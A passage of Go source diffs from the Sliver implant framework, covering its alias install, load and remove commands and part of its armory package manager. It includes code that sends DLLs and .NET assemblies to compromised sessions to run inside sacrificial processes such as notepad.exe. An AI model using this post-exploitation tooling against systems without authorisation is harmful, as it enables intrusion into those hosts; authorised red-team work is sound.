func getInstalledManifests() map[string]*AliasManifest {
|
||||
manifestPaths := assets.GetInstalledAliasManifests()
|
||||
installedManifests := map[string]*AliasManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &AliasManifest{}
|
||||
err = json.Unmarshal(data, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "testing"
|
||||
|
||||
const (
|
||||
sample1 = `{
|
||||
"name": "test1",
|
||||
"command_name": "test1",
|
||||
"version": "1.0.0",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"entrypoint": "foo",
|
||||
"allow_args": true,
|
||||
"default_args": "bar",
|
||||
"is_reflective": true,
|
||||
"is_assembly": true,
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseAliasManifest(t *testing.T) {
|
||||
alias1, err := ParseAliasManifest([]byte(sample1))
|
||||
if err != nil {
|
||||
t.Errorf("Error parsing alias manifest: %s", err)
|
||||
}
|
||||
|
||||
if alias1.Name != "test1" {
|
||||
t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
|
||||
}
|
||||
|
||||
if alias1.CommandName != "test1" {
|
||||
t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
|
||||
}
|
||||
|
||||
if alias1.Version != "1.0.0" {
|
||||
t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
|
||||
}
|
||||
|
||||
if alias1.RepoURL != "https://example.com/" {
|
||||
t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
|
||||
}
|
||||
|
||||
if alias1.Help != "some help" {
|
||||
t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
|
||||
}
|
||||
|
||||
if alias1.Entrypoint != "foo" {
|
||||
t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
|
||||
}
|
||||
|
||||
if !alias1.AllowArgs {
|
||||
t.Errorf("Expected allow_args to be true, got false")
|
||||
}
|
||||
|
||||
if alias1.DefaultArgs != "bar" {
|
||||
t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
|
||||
}
|
||||
|
||||
if !alias1.IsReflective {
|
||||
t.Errorf("Expected is_reflective to be true, got false")
|
||||
}
|
||||
|
||||
if !alias1.IsAssembly {
|
||||
t.Errorf("Expected is_assembly to be true, got false")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesInstallCmd - Install an alias
|
||||
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
aliasLocalPath := ctx.Args.String("path")
|
||||
fi, err := os.Stat(aliasLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFile(aliasLocalPath, false, con)
|
||||
} else {
|
||||
installFromDir(aliasLocalPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Alias '%s' already exists", manifest.Name)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating alias directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
|
||||
for _, cmdFile := range manifest.Files {
|
||||
if cmdFile.Path != "" {
|
||||
src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
|
||||
// Install an extension from a .tar.gz file
|
||||
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
|
||||
return nil
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, aliasFile := range manifest.Files {
|
||||
if aliasFile.Path != "" {
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
con.Printf("done!\n")
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("empty file %s", artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
}
|
||||
@@ -0,0 +1,369 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
ManifestFileName = "alias.json"
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var (
|
||||
// alias name -> manifest/command
|
||||
loadedAliases = map[string]*loadedAlias{}
|
||||
|
||||
defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
)
|
||||
|
||||
// Ties the manifest struct to the command struct
|
||||
type loadedAlias struct {
|
||||
Manifest *AliasManifest
|
||||
Command *grumble.Command
|
||||
}
|
||||
|
||||
type AliasFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
type AliasManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
CommandName string `json:"command_name"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
AllowArgs bool `json:"allow_args"`
|
||||
DefaultArgs string `json:"default_args"`
|
||||
Files []*AliasFile `json:"files"`
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range a.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
|
||||
return "", err
|
||||
}
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
err = fmt.Errorf("alias file not found: %s", filePath)
|
||||
return "", err
|
||||
}
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
alias, err := LoadAlias(dirPath, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load alias: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("%s alias has been loaded\n", alias.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// LoadAlias - Load an alias into the Sliver shell from a given directory
|
||||
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
// retrieve alias manifest
|
||||
var err error
|
||||
manifestPath, err = filepath.Abs(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// parse it
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aliasManifest, err := ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aliasManifest.RootPath = filepath.Dir(manifestPath)
|
||||
// for each alias command, add a new app command
|
||||
|
||||
// do not add if the command already exists
|
||||
if cmdExists(aliasManifest.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: aliasManifest.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if aliasManifest.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.AliasHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(addAliasCmd)
|
||||
|
||||
// Have to use a global map here, as passing the aliasCmd
|
||||
// either by value or by ref fucks things up
|
||||
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
|
||||
Manifest: aliasManifest,
|
||||
Command: addAliasCmd,
|
||||
}
|
||||
|
||||
return aliasManifest, nil
|
||||
}
|
||||
|
||||
// ParseAliasManifest - Parse an alias manifest
|
||||
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
// parse it
|
||||
alias := &AliasManifest{}
|
||||
err := json.Unmarshal(data, alias)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if alias.Name == "" {
|
||||
return nil, fmt.Errorf("missing alias name in manifest")
|
||||
}
|
||||
if alias.CommandName == "" {
|
||||
return nil, fmt.Errorf("missing command.name in alias manifest")
|
||||
}
|
||||
if alias.Help == "" {
|
||||
return nil, fmt.Errorf("missing command.help in alias manifest")
|
||||
}
|
||||
|
||||
for _, aliasFile := range alias.Files {
|
||||
if aliasFile.OS == "" {
|
||||
return nil, fmt.Errorf("missing command.files.os in alias manifest")
|
||||
}
|
||||
aliasFile.OS = strings.ToLower(aliasFile.OS)
|
||||
if aliasFile.Arch == "" {
|
||||
return nil, fmt.Errorf("missing command.files.arch in alias manifest")
|
||||
}
|
||||
aliasFile.Arch = strings.ToLower(aliasFile.Arch)
|
||||
aliasFile.Path = util.ResolvePath(aliasFile.Path)
|
||||
if aliasFile.Path == "" || aliasFile.Path == "/" {
|
||||
return nil, fmt.Errorf("missing command.files.path in alias manifest")
|
||||
}
|
||||
}
|
||||
|
||||
return alias, nil
|
||||
}
|
||||
|
||||
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
loadedAlias, ok := loadedAliases[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
aliasManifest := loadedAlias.Manifest
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
||||
return
|
||||
}
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if aliasManifest.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if aliasManifest.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := RemoveAliasByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing alias: %s\n", err)
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Alias '%s' removed\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
// RemoveAliasByCommandName - Remove an alias by command name
|
||||
func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
|
||||
if commandName == "" {
|
||||
return errors.New("command name is required")
|
||||
}
|
||||
if _, ok := loadedAliases[commandName]; !ok {
|
||||
return errors.New("alias not loaded")
|
||||
}
|
||||
delete(loadedAliases, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
err := os.RemoveAll(extPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,486 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
type ArmoryIndex struct {
|
||||
Aliases []*ArmoryPackage `json:"aliases"`
|
||||
Extensions []*ArmoryPackage `json:"extensions"`
|
||||
Bundles []*ArmoryBundle `json:"bundles"`
|
||||
}
|
||||
|
||||
type ArmoryPackage struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
PublicKey string `json:"public_key"`
|
||||
|
||||
IsAlias bool `json:"-"`
|
||||
}
|
||||
|
||||
type ArmoryBundle struct {
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
}
|
||||
|
||||
type ArmoryHTTPConfig struct {
|
||||
IgnoreCache bool
|
||||
ProxyURL *url.URL
|
||||
Timeout time.Duration
|
||||
DisableTLSValidation bool
|
||||
}
|
||||
|
||||
type indexCacheEntry struct {
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Index ArmoryIndex
|
||||
LastErr error
|
||||
}
|
||||
|
||||
type pkgCacheEntry struct {
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Pkg ArmoryPackage
|
||||
Sig minisign.Signature
|
||||
Alias *alias.AliasManifest
|
||||
Extension *extensions.ExtensionManifest
|
||||
LastErr error
|
||||
}
|
||||
|
||||
var (
|
||||
// public key -> armoryCacheEntry
|
||||
indexCache = sync.Map{}
|
||||
// public key -> armoryPkgCacheEntry
|
||||
pkgCache = sync.Map{}
|
||||
|
||||
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
|
||||
defaultTimeout = 15 * time.Minute
|
||||
)
|
||||
|
||||
// ArmoryCmd - The main armory command
|
||||
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
if len(indexes) != len(armoriesConfig) {
|
||||
con.Printf("errors!\n")
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
